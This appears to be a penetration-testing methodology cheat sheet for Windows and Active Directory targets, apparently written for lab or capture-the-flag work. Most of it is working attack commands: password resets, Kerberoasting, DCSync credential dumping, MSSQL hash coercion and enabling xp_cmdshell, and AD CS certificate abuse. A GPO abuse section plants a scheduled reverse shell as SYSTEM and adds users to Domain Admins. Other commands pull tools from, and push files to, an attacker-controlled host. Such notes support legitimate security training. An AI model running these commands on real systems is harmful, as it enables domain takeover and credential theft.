Methodology
Flow at a glance¶
- 1) Recon baseline -> open ports and services (note clock skew for Kerberos)
- 2) Branch: Web or AD quickstart based on exposure
- 3) Validate creds (SMB/WinRM/FTP/MSSQL/SSH with Kerberos if needed)
- 4) Pivot via creds, files, or ACLs (check hidden files & Recycle Bin)
- 5) Escalate (Kerberoast, DCSync, AD CS, GPO abuse via WriteGPLink)
- 6) Post-foothold triage and proof
- 7) Evidence capture and timeline notes
Decision triggers¶
- If LDAP/Kerberos/SMB exposed -> run AD quickstart
- If HTTP/HTTPS exposed -> run web enum
- If you get any creds -> validate (SMB/WinRM/FTP/MSSQL)
- If KRB_AP_ERR_SKEW error -> sync time to DC (check nmap clock skew)
- If NTLM disabled or SSH on Windows -> use Kerberos auth workflow
- If AD present -> collect BloodHound to find pivot paths
- If WriteGPLink permission found in BloodHound -> GPO abuse for SYSTEM
- If vaults/files found -> crack and re-validate creds
- If config files found -> check for base64-encoded passwords
- If Windows shell obtained -> check hidden files and Recycle Bin
Output files¶
- Use
nmap -oA nmap/<name>andffuf -o ffuf/<name>.jsonfor clean artifacts - Use
cmd.logas the timeline spine; useout.logonly for evidence snippets - Keep loot and evidence in
loot/andevidence/
Recon baseline¶
Command
- ping <IP> or nc -vz <IP> 80 if ICMP is blocked
- nmap -p- --min-rate=3000 -Pn -oN nmap/OpenPorts.txt <IP>
- ports=$(awk '/^[0-9]+\/tcp/ {print $1}' nmap/OpenPorts.txt | cut -d/ -f1 | paste -sd,)
- nmap -p$ports -sSCV --min-rate=2000 -Pn -oN nmap/ServicesVersions.txt <IP>
- dig @<IP> any <domain> or attempt zone transfer if DNS is exposed
Why - Establish reachability and discover all TCP services - Run scripts and version detection only on open ports - Identify DNS records and potential zone transfers
Flags/Notes
- -p-: all TCP ports
- --min-rate: speed up scan
- -Pn: skip host discovery
- -oN: save normal output to file
- -sS: SYN scan, -sC: default scripts, -sV: version detection
Web (80/443)¶
Command
- ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://<IP>/FUZZ -e .php,.txt -t 20
- gobuster dir -u http://<host> -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -t 20
Why - Find hidden files, directories, and backups
Flags/Notes
- -w: wordlist
- -u: target URL with FUZZ
- -e: extensions
- -t: threads
Active Directory quickstart¶
Command
- smbclient -N -L //<host>
- ldapsearch -x -H ldap://<host> -b "DC=...,DC=..."
- GetNPUsers.py <realm>/ -no-pass -usersfile users.txt -dc-ip <IP> -format hashcat
- mssqlclient.py <user>:<pass>@<host>
- nxc winrm <IP> -u <user> -p <pass>
Why - Enumerate shares, LDAP objects, and Kerberos roastable users - Validate credentials and service access
Flags/Notes
- -N: no auth, -L: list shares
- -x: simple bind, -H: LDAP URI, -b: base DN
- -no-pass: anonymous, -usersfile: user list, -format hashcat: crackable output
- Use <domain>/<user> for AD auth in MSSQL; omit domain for SQL auth
- nxc winrm -H for hashes, -k for Kerberos
Kerberos Authentication Workflow¶
Command
# Check for clock skew in nmap output (KRB_AP_ERR_SKEW = time sync issue)
# Sync time if DC has clock offset
sudo date --set="$(date -d '+X hours')" # Replace X with offset from nmap
# Generate krb5.conf
nxc smb <dc-hostname> -u <user> -p '<pass>' --generate-krb5-file ./krb5.conf
sudo cp ./krb5.conf /etc/krb5.conf
# Get Ticket Granting Ticket (TGT)
impacket-getTGT <domain>/<user>:'<pass>' -dc-ip <IP>
# Export ticket path
export KRB5CCNAME=~/path/to/<user>.ccache
# Verify ticket
klist
# SSH with Kerberos (if Windows OpenSSH available)
ssh -K <user>@<dc-hostname>
# Use Kerberos with other tools
impacket-smbclient -k -no-pass <domain>/<user>@<dc-hostname>
evil-winrm -i <IP> -r <realm> -u <user> -k
Why - Kerberos auth required when NTLM is disabled or restricted - Enables passwordless auth after TGT acquisition - Required for Windows SSH with GSSAPI
Flags/Notes
- KRB_AP_ERR_SKEW error = clock skew > 5 minutes; must sync time to DC
- --generate-krb5-file creates proper realm/KDC configuration
- TGT valid for ~10 hours (renewable)
- -K flag enables GSSAPI (Kerberos) for SSH
- KRB5CCNAME environment variable points to credential cache
- Kerberos requires proper DNS resolution (/etc/hosts or DNS)
AD pivot chain¶
Command
- bloodhound-python -c ALL -u <user> -p '<pass>' -d <domain> -ns <dc-ip>
- net user <target> <NewPass123!>
- net rpc password "<target>" '<NewPass123!>' -U "<domain>/<user>"%'<pass>' -S "<dc-ip>"
- nxc ftp <dc-ip> -u <user> -p '<pass>' --ls
- nxc ftp <dc-ip> -u <user> -p '<pass>' --get <file>
- hashcat -m 5200 <vault>.psafe3 /usr/share/wordlists/rockyou.txt --force
- ./targetedKerberoast.py -v -d '<domain>' -u '<user>' -p '<pass>' --use-ldaps
- hashcat <user>.hash /usr/share/wordlists/rockyou.txt --force
- secretsdump.py '<domain>/<user>:<pass>@<dc-host>'
Why - Use ACLs and creds to pivot users - Pull sensitive files and crack vaults - Kerberoast/DCSync for higher-priv access
Flags/Notes
- -c ALL: full BloodHound collection
- net user on a DC resets domain user passwords (requires object control)
- net rpc password performs SMB RPC reset when local syntax fails
- --ls list and --get download in NetExec FTP
- -m 5200: Password Safe v3
- --use-ldaps: use LDAPS 636
- DCSync returns NTLM hashes for domain accounts
MSSQL playbook¶
Command
- impacket-mssqlclient <domain>/<user>:<pass>@<IP>
- SELECT name FROM master.sys.databases;
- xp_dirtree '\\<attacker_ip>\share'
- xp_readerrorlog 0,1,N'Login failed';
- EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
Why - Enumerate DBs and coerce hashes - Mine logs for leaked creds - Enable command execution if needed
Flags/Notes
- Use <domain>/ for AD auth; drop domain for SQL auth
- xp_dirtree forces SMB auth to capture NetNTLMv2
- xp_readerrorlog indexes the error log and searches a term
Credential discovery pivot¶
Command
- Check SQL error logs, LDAP description fields, and SMB shares
- Crack NetNTLMv2 with hashcat mode 5600
- PTH with evil-winrm / nxc smb --hashes / psexec
Why - Convert passive intel into new authenticated access
Flags/Notes - Always re-validate creds on SMB/WinRM/FTP
GPO Abuse (WriteGPLink Privilege Escalation)¶
Command (PowerShell on Windows target)
# Verify WriteGPLink permission (check BloodHound first)
# User must have WriteGPLink over domain or OU
# Method 1: SharpGPOAbuse (Scheduled Task to add user to Domain Admins)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "AddDA" --Author DOMAIN\Administrator --Command "cmd.exe" --Arguments "/c net group 'Domain Admins' <user> /add /domain" --GPOName "EvilGPO"
# Method 2: Manual GPO Creation + SharpGPOAbuse (Reverse Shell as SYSTEM)
# Step 1: Create new GPO
New-GPO -name "EvilGPO"
# Step 2: Link GPO to domain root (applies to ALL computers including DCs)
New-GPLink -Name "EvilGPO" -target "DC=domain,DC=tld"
# Step 3: Generate reverse shell payload (use revshells.com)
# PowerShell #3 (Base64), encode to base64
# Step 4: Inject malicious scheduled task with SharpGPOAbuse
.\SharpGPOAbuse.exe --addcomputertask --GPOName "EvilGPO" --Author "admin" --TaskName "RevShell" --Command "powershell.exe" --Arguments "powershell -e <base64_payload>"
# Step 5: Force GPO update (speeds up propagation)
gpupdate /force
# Wait 1-2 minutes for GPO to apply on DC
# Catch reverse shell on attacker machine (nc -lnvp <port>)
Why - WriteGPLink permission allows linking GPOs to Organizational Units - GPOs linked to domain root apply to ALL domain computers (including DCs) - Scheduled tasks in GPOs execute as NT AUTHORITY\SYSTEM - Direct path to Domain Admin or SYSTEM shell
Flags/Notes
- Check BloodHound for WriteGPLink edges (not shown by whoami /all)
- Group Policy Creator Owners membership does NOT automatically grant WriteGPLink
- --AddComputerTask = creates immediate scheduled task (runs on next GPO refresh)
- GPO refresh interval: 90-120 seconds (or use gpupdate /force)
- Alternative targets: DC=domain,DC=tld (domain root) or OU=Domain Controllers,DC=domain,DC=tld
- SharpGPOAbuse alternatives: PowerView's New-GPOImmediateTask, manual SYSVOL modification
- Non-destructive option: Use bloodyAD or SharpGPOAbuse to add user to local Administrators instead of Domain Admins
Transfer SharpGPOAbuse.exe:
# On Kali
cd /path/to/tools
python3 -m http.server 8080
# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/SharpGPOAbuse.exe" -OutFile "SharpGPOAbuse.exe"
AD CS (ESC1) abuse¶
Command
- certipy find -dc-ip <IP> -u <user> -p <pass> -enabled -vulnerable
- certipy req -dc-ip <IP> -u <user> -p '<pass>' -ca <CA> -template <Template> -upn administrator@<domain> -dns <dc> -outfile administrator
- certipy auth -pfx administrator.pfx -dc-ip <IP>
- KRB5CCNAME=administrator.ccache evil-winrm -i <IP> -r <realm> -u administrator -k
Why - Identify misconfigured templates and authenticate as higher-priv users
Flags/Notes
- -enabled: active templates only
- -vulnerable: highlight ESC paths
- -upn: spoofed principal
- -k: Kerberos auth; KRB5CCNAME points to ticket cache
Post-foothold triage¶
Command
- whoami /groups, whoami /priv, hostname, ipconfig /all
- Check C:\Users\<user>\Desktop, C:\Users\Public, scheduled tasks/services
Why - Confirm privileges and identify quick-win loot
Flags/Notes - If lateral movement is needed, validate WinRM/SMB reachability to other hosts
Windows Hidden File Enumeration¶
Command (PowerShell)
# View hidden files and directories
Get-ChildItem -Force
Get-ChildItem -Path C:\ -Force
# Recursively search for hidden files
Get-ChildItem -Path C:\Users\<user> -Recurse -Force -ErrorAction SilentlyContinue
# Filter only hidden files
Get-ChildItem -Recurse -Force | Where-Object {$_.Attributes -match "Hidden"}
# Check PowerShell command history (credentials often leak here!)
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Enumerate Recycle Bin (deleted files)
Get-ChildItem -Path C:\$RECYCLE.BIN -Recurse -Force
# Read metadata from $I files (shows original path/filename)
Format-Hex 'C:\$RECYCLE.BIN\{SID}\$I...'
# Common hidden file locations
Get-ChildItem -Force C:\Users\<user>\AppData\Roaming
Get-ChildItem -Force C:\Users\<user>\AppData\Local
Get-ChildItem -Force C:\Users\<user>\Desktop
Get-ChildItem -Force C:\ProgramData
Why - Hidden files often contain credentials, config files, or sensitive data - Recycle Bin may have deleted archives, scripts, or credential stores - PowerShell history frequently contains plaintext passwords
Flags/Notes
- -Force = show hidden, system, and other normally hidden files
- Mode column: d--hs = Directory, Hidden, System
- Position 1: d = directory, - = file
- Position 4: h = hidden
- Position 5: s = system
- Recycle Bin structure:
- C:\$RECYCLE.BIN\{USER-SID}\
- $I files = metadata (148 bytes, contains original path/filename)
- $R files = actual deleted content (recover these!)
- Format-Hex reveals Unicode strings in binary metadata files
- No naming convention for hidden files in Windows (unlike Linux .files)
- Files are hidden via attributes, not filename patterns
Base64 Decoding in Config Files¶
Command
# Identify base64 (look for = padding at end)
cat config.ini | grep '='
# Decode base64 strings
echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d
# Decode from file
base64 -d encoded.txt > decoded.txt
Why - Config files often obfuscate passwords with base64 encoding - Common in WAPT, application configs, deployment scripts
Flags/Notes
- Base64 strings often end with = or == (padding)
- Not encryption, just encoding (easily reversible)
- Always check config files for: password, secret, key, token fields
File Transfer Methods¶
Linux to Windows¶
Method 1: Python HTTP Server + PowerShell Download (Most Reliable)
# On Kali (attacker)
cd /path/to/files
python3 -m http.server 8080
# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"
# Short alias
iwr -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"
Method 2: SCP with Kerberos (requires Kerberos auth setup)
# From Kali to Windows (if TGT is active)
scp 'user@hostname:C:/$PATH/$TO/$FILE' ./local-file
# Windows path format: C:/ (forward slashes, not backslashes)
# Protect $ in filenames with single quotes
Method 3: certutil (Built-in Windows downloader)
# On Windows (CMD or PowerShell)
certutil -urlcache -f http://<attacker-ip>:8080/<file> C:\path\to\output
Method 4: SMB (requires admin access to C$)
# From Kali
impacket-smbclient <domain>/<user>:'<pass>'@<IP>
use C$
cd path\to\directory
put <local-file>
get <remote-file>
Windows to Linux¶
Method 1: SCP (with Kerberos or password auth)
# From Kali
scp 'user@hostname:C:/$PATH/$FILE' ./destination
# Works with active Kerberos TGT or password auth
Method 2: SMB Mount (as client)
# On Kali, share a directory
impacket-smbserver share /path/to/share -smb2support
# On Windows, copy to share
copy C:\path\to\file \\<attacker-ip>\share\
Method 3: Base64 Encoding (for small text files only)
# On Windows (PowerShell)
$content = Get-Content -Path "C:\path\to\file" -Raw
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
# Copy base64 output, paste on Kali
echo '<base64-string>' | base64 -d > file
Flags/Notes
- Avoid base64 for binaries (files >100KB become unwieldy)
- SCP Windows path format: C:/ (forward slashes), $ must be quoted
- Invoke-WebRequest is PowerShell's wget/curl equivalent
- certutil works on all Windows versions but may be flagged by AV
- Python HTTP server port 8080 (or any high port) to avoid permission issues
Evidence capture¶
Command
- | tee logs/<name>.txt for readable output
- > logs/<name>.txt 2>&1 for large output
Why - Keep clean artifacts for writeups and proof
Flags/Notes
- Save outputs to logs/ and loot to loot/
- Note flag paths and commands used